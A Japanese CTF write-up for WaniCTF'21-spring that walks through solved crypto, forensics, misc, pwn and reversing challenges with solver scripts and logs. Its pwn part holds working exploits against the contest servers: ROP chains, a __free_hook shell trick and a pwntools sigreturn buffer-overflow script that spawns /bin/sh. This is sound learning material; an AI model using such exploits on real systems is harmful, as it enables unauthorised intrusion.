WaniCTF'21-springに参加しました。正解した問題のwrite-up記事です。 問題等はwani-hackase/wanictf21spring-writeupで公開されています。
- コンテスト概要
- 結果
- 環境
- 解けた問題
- [Crypto]Simple conversion[Beginner]
- [Crypto]Easy[Easy]
- [Crypto]Can't restore the flag?[Hard]
- [Forensics]presentation[Beginner]
- [Forensics]secure document[Easy]
- [Forensics]illegal image[Hard]
- [Forensics]MixedUSB[Very hard]
- [Misc]binary[Beginner]
- [Misc]ASK[Easy]
- [Misc]Manchester[Normal]
- [Misc]Automaton Lab.[Normal]
- [Pwn]01 netcat[Beginner]
- [Pwn]02 free hook[Easy]
- [Pwn]03 rop machine easy[Easy]
- [Pwn]04 rop machine normal[Easy]
- [Pwn]05 rop machine hard[Normal]
- [Pwn]06 SuperROP[Hard]
- [Reversing]secret[Beginner]
- [Reversing]execute[Easy]
- [Reversing]timer[Hard]
- [Reversing]licence[Very hard]
- [Web]fake[Beginner]
- [Web]Wani Request 1[Easy]
- [Web]exception[Easy]
- [Web]watch animal[Very hard]
- 感想
コンテスト概要
informationページより抜粋:
WaniCTF は大阪大学 CTF サークル Wani Hackase が開催する初心者向けの CTF です。 WaniCTF は Jeopardy-style と呼ばれるクイズ形式の CTF で、それぞれの問題に隠されているフラグという文字列を見つけ出しスコアサーバーに提出することで点数を獲得することができます。 CTF に参加するのが初めてであったり、数回しか参加したことがない方でも楽しめる難易度になっています。また教育的効果を追求するため、ある程度の誘導や必要なツールの情報が記載されています。これらの情報を参考にしつつトライしてみてください。 WaniCTF は大阪大学いちょう祭のオンライン企画として出展しています。 開催時間 (JST) 2021/4/30(金) 10:00 ~ 2021/5/2(日) 20:00 ルール 個人参加形式です。1 人 1 アカウントとなります。
結果
正の得点を取得した353人中、5040ptsで26位でした。33問中25問を解けました。 コンテスト結果はWaniCTF'21-spring Rankingで公開されています。
環境
Windows+WSL1(Ubuntu)で取り組みました。WSL1で不都合な点があったので、そろそろWSL2に移行してもいいなあとは思っています。
Windows
PS C:\> [System.Environment]::OSVersion.Version Major Minor Build Revision ----- ----- ----- -------- 10 0 19042 0
他ソフト
- IDA(Free版) : Version 7.0.19002 Windows x64
- Wireshark : Version 3.4.3
WSL
$ cat /proc/version Linux version 4.4.0-19041-Microsoft (Microsoft@Microsoft.com) (gcc version 5.4.0 (GCC) ) #488-Microsoft Mon Sep 01 13:43:00 PST 2020 $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 18.04.5 LTS Release: 18.04 Codename: bionic $ python3.8 --version Python 3.8.0 $ python3.8 -m pip show requests | grep Version Version: 2.25.1 $ python3.8 -m pip show pwntools | grep Version Version: 4.3.1 $ python3.8 -m pip show angr | grep Version Version: 9.0.5739 $ python3.8 -m pip show scapy | grep Version Version: 2.4.5
解けた問題
[Crypto]Simple conversion[Beginner]
戻し方を忘れました…
配布されたファイルを展開すると、output.txtと、以下のPythonスクリプトが含まれていました:
from const import flag def bytes_to_integer(x: bytes) -> int: x = int.from_bytes(x, byteorder="big") return x print(bytes_to_integer(flag))
逆の演算を施すスクリプトを書きました:
#!/usr/bin/env python3.8 output = 709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229 b = int.to_bytes(output, byteorder="big", length=64) print(b.lstrip(b"\x00"))
これを実行してフラグを得られました: FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}
[Crypto]Easy[Easy]
手始めに
配布されたファイルを展開すると、output.txtと、以下のPythonスクリプトが含まれていました:
with open("flag.txt") as f: flag = f.read().strip() A = REDACTED B = REDACTED plaintext_space = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}" assert all(x in plaintext_space for x in flag) def encrypt(plaintext: str, a: int, b: int) -> str: ciphertext = "" for x in plaintext: if "A" <= x <= "Z": x = ord(x) - ord("A") x = (a * x + b) % 26 x = chr(x + ord("A")) ciphertext += x return ciphertext if __name__ == "__main__": ciphertext = encrypt(flag, a=A, b=B) print(ciphertext)
1文字ごとに文字のずらし度合いを変えていく暗号化をしています。出力結果を同様に変換することを全探索すればその中にフラグがありそうだと思ったので以下のスクリプトを書きました:
#!/usr/bin/env python3.8 def decrypt(ciphertext, a, b): result = "" for x in ciphertext: if "A" <= x <= "Z": x = ord(x) - ord("A") x = (a * x + b) % 26 x = chr(x + ord("A")) result += x return result ciphertext = "HLIM{OCLSAQCZASPYFZASRILLCVMC}" sx = [] for a in range(26): for b in range(26): sx.append(decrypt(ciphertext, a, b)) for s in [s for s in sx if s[:4]=="FLAG"]: print(s)
これを実行してフラグを得られました: FLAG{WELCOMETOCRYPTOCHALLENGE}
上手いこと一意に定まるんですね。
[Crypto]Can't restore the flag?[Hard]
ちりつもですよ nc crt.cry.wanictf.org 50000
配布されたファイルを展開すると、以下のserver.py
が含まれていました:
from Crypto.Util.number import bytes_to_long with open("flag.txt", "rb") as f: flag = f.read() flag = bytes_to_long(flag) assert flag <= 10 ** 103 upper_bound = 300 while True: try: mod = int(input("Mod > ")) if mod > upper_bound: print("Don't cheat 🤪") continue result = flag % mod print(result) except Exception: print("Bye 👋") break
中国剰余定理を使う予感がしましたが、よく読むと負の数を与えることができます。実際に与えてみます:
$ nc crt.cry.wanictf.org 50000 Mod > -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 -999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705909 Mod > ^C
激しく非想定解法な予感がしますが、この値をもとに復号するスクリプトを書きました:
#!/usr/bin/env python3.8 from Crypto.Util.number import long_to_bytes mod = -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 info = -999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705909 flag = info - mod print(long_to_bytes(flag))
これを実行してフラグを得られました: FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}
[Forensics]presentation[Beginner]
このままじゃFLAGをプレゼンできない...
配布されたファイルを展開するとpresentation.ppsx
が含まれていました。手元にMicrosoft OfficeがないのでLibreOfficeで開くと、自動的にスライドショーが開始されました。FLAG文字列のテキストは存在しているのですが、肝心の部分が黒塗りされている状態でした。
pptx形式はZIP展開可能なので展開し、grep -rn "FLAG"
で探すとpresentation/ppt/slides/slide1.xml:2:
に見つかりました。そこから文字を拾ってフラグを得られました: FLAG{you_know_how_to_edit_ppsx}
[Forensics]secure document[Easy]
本日の資料は以下を入力して圧縮しました。 the password for today is nani
配布されたファイルを展開すると、パスワード付きZIPのflag_20210428.zip
と、以下のpassword-generator
が含まれていました:
::the:: Send, +wani return ::password:: Send, +c+t+f return ::for:: Send, {home}{right 3}{del}1{end}{left 2}{del}7 return ::today:: FormatTime , x,, yyyyMMdd SendInput, {home}{right 4}_%x% return ::is:: Send, _{end}{!}{!}{left} return :*?:ni:: Send, ^a^c{Esc}{home}password{:} {end} return
AutoHotKeyスクリプトかなと察しを付けて、FormatTimeのところはZIP名にある20210428が入るのでしょうと検討をつけました。ここまではスムーズだったのですが、入力内容のnani
をwani
と空目してしまい、パスワードが合わない合わないと20分ハマっていました。空目に気付いた後は、ZIPをWan1_20210430_C7F!na!
で無事に展開でき、展開結果のflag.jpgに文字が書かれていました: FLAG{Nani!very_strong_password!}
[Forensics]illegal image[Hard]
裏で画像がやり取りされているらしい
配布されたファイルを展開するとpcapファイルが含まれていました。Wiresharkで眺めてみるとICMPのpingのデータ部分でJPEGを送信しているようでした。
以前参加したCTFの問題の他の方のwrite-upで.pcap
ファイルの処理にはScapy
というライブラリが便利らしいことを思い出したので、使ってみることにしました。試行錯誤して以下のスクリプトを書きました:
#!/usr/bin/env python3.8 import scapy.all with open("out.jpg", "wb") as f: packets = scapy.all.rdpcap("illegal_image.pcap") for p in packets.filter(lambda p: "ICMP" in p and p["IP"].src == "192.168.0.133"): f.write(p["ICMP"].load)
とても短くかけているのですが、ここまでたどり着くのが大変でした。特にペイロード部分の取得はload
属性を使うと分かるまでが大変でした。何はともあれこれを実行してJPEG画像を抽出できて、そこにフラグが書かれていました: FLAG{ICMP_Exfiltrate_image}
[Forensics]MixedUSB[Very hard]
USBにパーティションを設定したら、どこにFLAGを保存しているのかわからなくなってしまいました...
配布されたファイルを展開すると、MixedUSB.img
が含まれていました。Very hard難易度ということでこわごわ見ていたんですが、stringsでフラグが見つかってしまいました:
$ strings MixedUSB.img | grep "FLAG{" FLAG{mixed_file_allocation_table}
そんなわけでフラグが手に入ってしまいました: FLAG{mixed_file_allocation_table}
[Misc]binary[Beginner]
文字も所詮1と0の集合です。 sample.pyを参考に復号器を作ってみてください。
配布されたファイルを展開すると、binary.csv
と、以下のsample.py
が含まれていました:
s = "WANI" bits = [] for i in range(len(s)): val = s[i] for j in range(8): b = (ord(val) >> (7 - j)) & 0x01 bits.append(b) print(bits) s = "" c = 0 for i in range(len(bits)): val = int(bits[i]) c = (c << 1) | val if i % 8 == 7: s = s + chr(c) c = 0 print(s)
binary.csv
を見ると0または1が書かれた行が336行あるファイルだったので、以下のスクリプトを書きました:
#!/usr/bin/env python3.8 with open("binary.csv") as f: bits = [] for line in f: bits.append(int(line)) s = "" c = 0 for i in range(len(bits)): val = int(bits[i]) c = (c << 1) | val if i % 8 == 7: s = s + chr(c) c = 0 print(s)
これを実行してフラグを得られました: FLAG{the_basic_knowledge_of_communication}
[Misc]ASK[Easy]
Amplitude Shift Keying
配布されたファイルを展開すると、ask.csv
が含まれており、その形式は前述のbinary問題と同じものに見えました。しかし試行錯誤しているうちに、31bit単位でのみ0/1が切り替わっていることに気付いたので、そこを考慮して以下のスクリプトを書きました
#!/usr/bin/env python3.8 bits = [] with open("ask.csv") as f: for (i,x) in enumerate(f): if i%31==0: bits.append(int(x)) b = bytearray() c = 0 for (i, x) in enumerate(bits): c = (c << 1) | x if i%8==7: b.append(c) c = 0 with open("result2.bin", "wb") as f: f.write(b)
これを実行してフラグを含むデータを得られました:
$ ./solve.py $ strings result2.bin FLAG{als0-k0own-4s-0n-0ff-key1ng} FLAG{als0-k0own-4s-0n-0ff-key1ng} $
[Misc]Manchester[Normal]
Manchester Encoding
配布されたファイルを展開すると、manchester.csv
が含まれおり、その形式は前述のbinary問題と同じものに見えました。また問題もask問題と同様に31bit単位でのみ0/1が切り替わっているようでした。
Manchester Encodingについて調べると1bitの入力を"01"または"10"の2bitの出力にする形式と分かりました。試行錯誤しているとデータの先頭の方は"00"があることに気付いたので、それを無視するようにして以下のスクリプトを書きました:
#!/usr/bin/env python3.8 bits = [] with open("manchester.csv") as f: for (i, x) in enumerate(f): if i%31==0: bits.append(int(x)) else: assert(bits[-1] == int(x)) assert(len(bits)%2==0) result = bytearray() c = 0 i = 0 bit_count = 0 while i < len(bits): # 最初の方は0が連続しているらしい if bits[i] != bits[i+1]: c = (c << 1) | bits[i] bit_count += 1 if bit_count%8==7: result.append(c) c = 0 i += 2 with open("result.bin", "wb") as f: f.write(result)
これを実行してフラグを含むデータを得られました:
$ ./solve.py $ strings result.bin 6V7F {K#Ks9k )k{s+ FLAG{avoiding-consective-ones-and-zeros}
[Misc]Automaton Lab.[Normal]
Automaton Lab.で将来予測のお手伝いをしましょう nc automaton.mis.wanictf.org 50020 reference: https://en.wikipedia.org/wiki/Rule_30
配布されたファイルを展開すると、automaton-lab.py
とサーバー側のコードが含まれていました。全62行なので詳細は省略しますが、以下の内容でした:
- 質問は3回ある
- 3回目の質問が、1024bitの数値の世代経過後の状態を求めるもの
またncで接続すると以下のような出力が得られました:
Welcome to Automaton Lab.! We study about automaton in there, here is the space of "Rule 30"[1] automaton. We breed 15 cells automaton now, they are ring-connected -- they are connected the first cell and the last cell. Our interest is what this cute automaton grow up in future, we want your help to expect their growth. [1]: https://en.wikipedia.org/wiki/Rule_30 For example, now automaton state is "100000100000001" ('1' is alive and '0' is dead) and in next generation they are "010001110000011". generation state 0 100000100000001 1 010001110000011 2 011011001000110 We give you initial state(init) and generation(gen). You write down the state of this automaton of the nth generation in binary. Are you ready? (press enter key to continue) OK! Here we go! The first question is warming up. init = 011001111111011 gen = 7 > 111111111111111 We were disappointed in you. ^C $
説明文からセル数は15かつ左右端が連結している状態を考えることが分かります。 考察すると、セル数は15かつセルの状態は2種類であるため、全体の状態は215に収まることが分かります。そのため要求世代数を1つ1つシミュレートするのではなく、周期性を利用することで計算を削減できます。これらを利用して以下のスクリプトを書きました:
#!/usr/bin/env python3.8 import pwn pwn.context.log_level = "DEBUG" # 入出力表示用 cells = 15 def next_generation(bits): assert(len(bits)==cells) result = [] for i in range(cells): x = 0 x += bits[i-1] * 100 x += bits[i] * 10 x += bits[i+1-cells] result.append(int(x in [100, 11, 10, 1])) return result def state_to_bits(num): result = [] for i in range(cells): result.append(num%2) num //= 10 return list(reversed(result)) def bits_to_state(bits): result = 0 for b in bits: result *= 10 result += b return result def solve_one(state, gen): d = {} cur_gen = 0 bits = state_to_bits(state) while cur_gen < gen: bits = next_generation(bits) cur_gen += 1 cur_state = bits_to_state(bits) if cur_state in d: period = cur_gen - d[cur_state] if cur_gen + period < gen: gen = (gen%period) + period print(f"detect period! {period}") else: d[cur_state] = cur_gen return bits_to_state(bits) def solve(tube): tube.sendlineafter("(press enter key to continue)", "") # send newline for i in range(3): tube.recvuntil("init = ") state = int(tube.recvline()) tube.recvuntil("gen = ") gen = int(tube.recvline()) tube.sendline(str(solve_one(state, gen)).rjust(cells, "0")) tube.recvall() with pwn.remote("automaton.mis.wanictf.org", 50020) as tube: solve(tube)
これを実行してフラグを得られました:
$ ./solve.py [+] Opening connection to automaton.mis.wanictf.org on port 50020: Done [DEBUG] Received 0x2ee bytes: b'Welcome to Automaton Lab.!\n' b'We study about automaton in there, here is the space of "Rule 30"[1] automaton.\n' b'We breed 15 cells automaton now, they are ring-connected -- they are connected the first cell and the last cell.\n' b'Our interest is what this cute automaton grow up in future, we want your help to expect their growth.\n' b'[1]: https://en.wikipedia.org/wiki/Rule_30\n' b'\n' b'For example, now automaton state is "100000100000001" (\'1\' is alive and \'0\' is dead) and in next generation they are "010001110000011".\n' b'generation\tstate\n' b'0\t\t100000100000001\n' b'1\t\t010001110000011\n' b'2\t\t011011001000110\n' b'\n' b'We give you initial state(init) and generation(gen). You write down the state of this automaton of the nth generation in binary.\n' b'Are you ready?\n' b'(press enter key to continue)' [DEBUG] Sent 0x1 bytes: 10 * 0x1 [DEBUG] Received 0x1 bytes: b'\n' [DEBUG] Received 0x53 bytes: b'OK! Here we go! The first question is warming up.\n' b'init = 011111010000011\n' b'gen = 7\n' b'> ' [DEBUG] Sent 0x10 bytes: b'110000010010010\n' [DEBUG] Received 0x24 bytes: b'Great! The second question is below.' [DEBUG] Received 0x24 bytes: b'\n' b'init = 000000001100000\n' b'gen = 997\n' b'> ' [DEBUG] Sent 0x10 bytes: b'011111010111101\n' [DEBUG] Received 0x6b bytes: b'Even if human become extinct, we wanna see the view of prosperity of cell automaton. This is last question.' [DEBUG] Received 0x156 bytes: b'\n' b'init = 000000000000001\n' b'gen = 148238205915322127816359616869326414306608402080882364646921484996322455511812872429167852931633392921222245916418338637345931215326270228132730667744915890447322507260171940734929060654671606919042691254137904662470869221163729986943535341091141057407399757829743343705260883678355277900128779102453397267341\n' b'> ' detect period! 1455 [DEBUG] Sent 0x10 bytes: b'100100110010110\n' [+] Receiving all data: Done (124B) [DEBUG] Received 0x4c bytes: b'Jesus!!! Are you the genius of future sight? We award you the special prize.' [DEBUG] Received 0x2e bytes: b'\n' b'FLAG{W3_4w4rd_y0u_d0c70r473_1n_Fu7ur3_S1gh7}\n' [*] Closed connection to automaton.mis.wanictf.org port 50020 $
[Pwn]01 netcat[Beginner]
nc netcat.pwn.wanictf.org 9001 netcat (nc)と呼ばれるコマンドを使うだけです。 つないだら何も出力されなくても知っているコマンドを打ってみましょう。 使用ツール例 netcat (nc) gccのセキュリティ保護 Full RELocation ReadOnly (RELRO) Stack Smash Protection (SSP)有効 No eXecute bit(NX)有効 Position Independent Executable (PIE)有効
配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。Cファイルを見るとsystem("/bin/sh")
を自動的にしてくれるものでした。そういうわけでncで接続するとシェルを取れます:
$ nc netcat.pwn.wanictf.org 9001 congratulation! please enter "ls" command ls chall flag.txt redir.sh cat flag.txt FLAG{this_is_the_same_netcat_problem_as_previous_one} ^C
[Pwn]02 free hook[Easy]
nc free.pwn.wanictf.org 9002 ヒント free_hookの仕組みを理解する必要があります。 使用ツール例 netcat (nc) gccのセキュリティ保護 Partial RELocation ReadOnly (RELRO) Stack Smash Protection (SSP)無効 No eXecute bit(NX)有効 Position Independent Executable (PIE)無効
配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。Cファイルを見ると、初期化処理中に__free_hook = system;
と、__free_hook
たるものが使われていました。調べてみると、freeを呼び出された時にそのフックが呼び出されるとのことでした。今回の問題ではmalloc結果に任意文字列を書き込めるため、"/bin/sh"を書き込んでやればシェルが取れそうなので試すと無事成功しました:
$ nc free.pwn.wanictf.org 9002 1: add memo 2: view memo 9: del memo command?: 1 index?[0-9]: 0 memo?: /bin/sh [[[list memos]]] ***** 0 ***** /bin/sh 1: add memo 2: view memo 9: del memo command?: 9 index?[0-9]: 0 ls chall flag.txt redir.sh cat flag.txt FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
[Pwn]03 rop machine easy[Easy]
* [Pwn]03 rop machine easy[Easy](とけた) nc rop-easy.pwn.wanictf.org 9003 ヒント ropでsystem("/bin/sh")を実行して下さい。 "/bin/sh"のアドレスは提供されています rop machineの使い方->wani-hackase/rop-machine 使用ツール例 netcat (nc) gccのセキュリティ保護 Partial RELocation ReadOnly (RELRO) Stack Smash Protection (SSP)有効 No eXecute bit(NX)有効 Position Independent Executable (PIE)無効
配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。ROPなのにEasy扱いなのかと驚きながら読んでいると、pop %rdi; ret
するインラインアセンブラ(=ROPガジェット)を含む関数が見つかりました。全体としては、そのガジェット数や任意数値の追加、system関数を呼び出すガジェットの追加ができるプログラムでした。丁寧さに感激しつつ、ROPできるようガジェットを組み立ててシェルを取りました:
$ nc rop-easy.pwn.wanictf.org 9003 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "system" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 9 rop_arena +--------------------+ > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "system" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{this-is-simple-return-oriented-programming}
[Pwn]04 rop machine normal[Easy]
ヒント ropでexecve("/bin/sh", 0, 0)を実行して下さい。 "/bin/sh"のアドレスは提供されています execveのsyscall番号は0x3bです。 rop machineの使い方->wani-hackase/rop-machine 使用ツール例 netcat (nc) gccのセキュリティ保護 Partial RELocation ReadOnly (RELRO) Stack Smash Protection (SSP)有効 No eXecute bit(NX)有効 Position Independent Executable (PIE)無効
配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。今回のソースでは、rdi, rsi, rdx, ras, syscall用のガジェットが用意されていました。x64 ELFのsyscall呼び出し規約を調べると、raxが番号、残りの引数が順番にrdi, rsi, rdxであるとのことでした。これらの情報をもとにガジェットを組み立ててシェルを取れました:
$ nc rop-normal.pwn.wanictf.org 9004 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "pop rsi; ret" addr 4. append "pop rdx; ret" addr 5. append "pop rax; ret" addr 6. append "syscall; ret" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 5 "pop rax; ret" is appended > 1 hex value?: 0x3b 0x000000000000003b is appended > 2 "pop rdi; ret" is appended > 1 hex value?: 0x404070 0x0000000000404070 is appended > 3 "pop rsi; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 4 "pop rdx; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 6 "syscall; ret" is appended > 0 rop_arena +--------------------+ | pop rax; ret |<- rop start +--------------------+ | 0x000000000000003b | +--------------------+ | pop rdi; ret | +--------------------+ | 0x0000000000404070 | +--------------------+ | pop rsi; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | pop rdx; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | syscall; ret | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{now-you-can-call-any-system-calls-with-syscall}
[Pwn]05 rop machine hard[Normal]
nc rop-hard.pwn.wanictf.org 9005 ヒント ROPgadgetコマンドの使い方を覚えましょう。 rop machineの使い方->wani-hackase/rop-machine 使用ツール例 netcat (nc) ROPgadget gccのセキュリティ保護 Partial RELocation ReadOnly (RELRO) Stack Smash Protection (SSP)有効 No eXecute bit(NX)有効 Position Independent Executable (PIE)無効
配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。今回はpushできるのがhex限定であるため、ガジェットのアドレスは自分で調べる必要があります。 最初はヒントに記載されているようにROPgadgetコマンドを使おうとしたのですが、pipとしてインストールしていますがコマンドを見つけられませんでした。次にrp++コマンドを入れようとしましたが、makeでエラーになったので諦めました。仕方がないのでIDAでアドレスを探しました。 ガジェットを見つける段階になって、rax, rdx, rdi, syscallについてはガジェット用の関数がありましたが、rsi用の関数がないことに気づきました。探しても中々見つからなかったのですが、「pop r14; pop r15; ret」箇所のプレフィクスを取り除くことで「pop rsi; pop r15; ret」を生成できることに気づきました。これらを利用してガジェットを組み立て、シェルを取れました:
$ nc rop-hard.pwn.wanictf.org 9005 [menu] 1. append hex value 8. show menu (this one) 9. show rop_arena 0. execute rop > 1 hex value?: 0x00000000004012A9 0x00000000004012a9 is appended > 1 hex value?: 0x3b 0x000000000000003b is appended > 1 hex value?: 000000000040128F 0x000000000040128f is appended > 1 hex value?: 0x0000000000404078 0x0000000000404078 is appended > 1 hex value?: 0x0000000000401611 0x0000000000401611 is appended > 1 hex value?: 0 0x0000000000000000 is appended > 1 hex value?: 0 0x0000000000000000 is appended > 1 hex value?: 0x000000000040129C 0x000000000040129c is appended > 1 hex value?: 0 0x0000000000000000 is appended > 1 hex value?: 0x00000000004012B6 0x00000000004012b6 is appended > 0 rop_arena +--------------------+ | 0x00000000004012a9 |<- rop start +--------------------+ | 0x000000000000003b | +--------------------+ | 0x000000000040128f | +--------------------+ | 0x0000000000404078 | +--------------------+ | 0x0000000000401611 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x000000000040129c | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x00000000004012b6 | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{y0ur-next-step-is-to-use-pwntools}
nc接続後に手打ちしていたのですが、数回入力間違いをしてしまってやり直すのが大変でした。やはりpwntoolsは正義……。
[Pwn]06 SuperROP[Hard]
nc srop.pwn.wanictf.org 9006 sigreturnを用いたROPでシェルを実行してください。 sigreturnを使うとスタックの値でレジスタを書き換えることができます。 ヒント https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h#L325 https://docs.pwntools.com/en/latest/rop/srop.html
配布されたファイルを展開すると、Cファイルとバイナリが含まれていました。またhow_to_use_pwntools.py
というファイルも丁寧に用意されていました。Cファイルは以下のものでした:
#include <stdio.h> #include <unistd.h> void call_syscall() { __asm__("syscall; ret;"); } void set_rax() { __asm__("mov $0xf, %rax; ret;"); } int main() { char buff[50]; setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("buff : %p\nCan you get the shell?\n", buff); read(0, buff, 0x200); return 0; }
50バイトのバッファに512バイト読み込もうとしているためバッファオーバーフローが発生します。それを利用してROPを行う問題と分かります。今回は"/bin/sh"がないので自分で用意してやる必要があります。rbp分の調整を忘れていてハマったりしましたが、最終的に以下のスクリプトを書きました:
#!/usr/bin/env python3.8 import pwn pwn.context.update(arch="amd64", os="linux", log_level="DEBUG") path = "./pwn06" def solve(tube): elf = pwn.ELF(path) rop = pwn.ROP(elf) addr_syscall = 0x000000000040117E # rop.find_gadget(["syscall", "ret"])では見つけてくれない…… addr_set_rax = 0x000000000040118C tube.recvuntil("buff : ") # スタック位置は可変なので入力から取る addr_buf = int(tube.recvline(), 16) print(f"{addr_buf=:X}") bin_sh_offset = 500 # 適当に後ろの方 payload = bytearray() payload += b"A" * 0x40 # バッファサイズ分 payload += b"A" * 8 # 保存されたrbx分 # ここからROPで実行するコード payload += pwn.pack(addr_set_rax) payload += pwn.pack(addr_syscall) # ここからsigreturn用、rsp調整は無くても通った sf = pwn.SigreturnFrame() sf.rax = pwn.constants.SYS_execve sf.rdi = addr_buf + bin_sh_offset sf.rsi = 0 sf.rdx = 0 sf.rip = addr_syscall print(f"{len(payload)=}") payload += bytes(sf) print(f"{len(payload)=}") # 248バイト分増える # "/bin/sh"の準備 payload += b"A" * (bin_sh_offset - len(payload)) payload += b"/bin/sh\x00" tube.sendline(payload) tube.interactive() # ローカルやGDBではシェルを取れなかったけどremoteでは取れた、何故だろう→WSLではsigreturnがうまく行かないらしい! # with pwn.gdb.debug(path) as gdb: solve(gdb) # with pwn.process(path) as local: solve(local) with pwn.remote("srop.pwn.wanictf.org", 9006) as remote: solve(remote)
これを実行してシェルを得られました:
$ ./solve.py [+] Opening connection to srop.pwn.wanictf.org on port 9006: Done [DEBUG] PLT 0x401064 setbuf [DEBUG] PLT 0x401074 printf [DEBUG] PLT 0x401084 read [*] "/sniped/pwn-06-srop/pwn06" Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Loaded 15 cached gadgets for './pwn06' [DEBUG] Received 0x2d bytes: b'buff : 0x7ffebe9b06d0\n' b'Can you get the shell?\n' addr_buf=7FFEBE9B06D0 len(payload)=88 len(payload)=336 [DEBUG] Sent 0x1fd bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000040 41 41 41 41 41 41 41 41 8c 11 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│ 00000050 7e 11 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │~·@·│····│····│····│ 00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 000000c0 c4 08 9b be fe 7f 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000e0 00 00 00 00 00 00 00 00 3b 00 00 00 00 00 00 00 │····│····│;···│····│ 000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000100 7e 11 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │~·@·│····│····│····│ 00000110 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │3···│····│····│····│ 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000150 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 000001f0 41 41 41 41 2f 62 69 6e 2f 73 68 00 0a │AAAA│/bin│/sh·│·│ 000001fd [*] Switching to interactive mode Can you get the shell? $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x18 bytes: b'chall\n' b'flag.txt\n' b'redir.sh\n' chall flag.txt redir.sh $ cat flag.txt [DEBUG] Sent 0xd bytes: b'cat flag.txt\n' [DEBUG] Received 0x26 bytes: b'FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}\n' FLAG{0v3rwr173_r361573r5_45_y0u_l1k3} $ [*] Closed connection to srop.pwn.wanictf.org port 9006
なおコメントにも書いていますが、ローカル実行ではシェルを取れませんでした。不思議に思って後で調べたら、WSLではSROPがうまく行かないとの言及が見つかりました(CSAW CTF 2019 Quals - small boi - HackMD)。WSL2では純粋なLinux Kernelを使っているので恐らくそちらではうまく動くと思います。
2021/05/16追記: WSL2にあげてみると、ローカル実行でもシェルを取れました。CTF用途ならWSL2が良さそうですね。
[Reversing]secret[Beginner]
この問題では Linux の ELF 実行ファイル(バイナリ)である「secret」が配布されています。 このバイナリを実行すると secret key を入力するように表示されます。 試しに「abcde」と入力してみると「Incorrect」と言われました。 $ file secret secret: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1daf4ab43cfa357911806c3ccae34a1b6e027913, for GNU/Linux 3.2.0, not stripped $ sudo chmod +x secret $ ./secret ... Input secret key : abcde Incorrect $ ./secret ... Input secret key : ?????? Correct! Flag is ?????? このバイナリが正しいと判断する secret key を見つけて読み込んでみましょう! (secret key とフラグは別の文字列です) (このファイルを実行するためには Linux 環境が必要となりますので WSL や VirtualBox で用意してください) ヒント :「表層解析」や「静的解析」を行うことで secret key が見つかるかも...? 表層解析ツール strings 静的解析ツール Ghidra
丁寧な説明文章に感激しつつ配布されたファイルを展開するとバイナリが含まれていました。IDAに読み込ませて文字列を見ていると"wani_is_the_coolest_animals_in_the_world!"が見えました。バイナリを実行してその文字列を入力すると、フラグが出力されました:
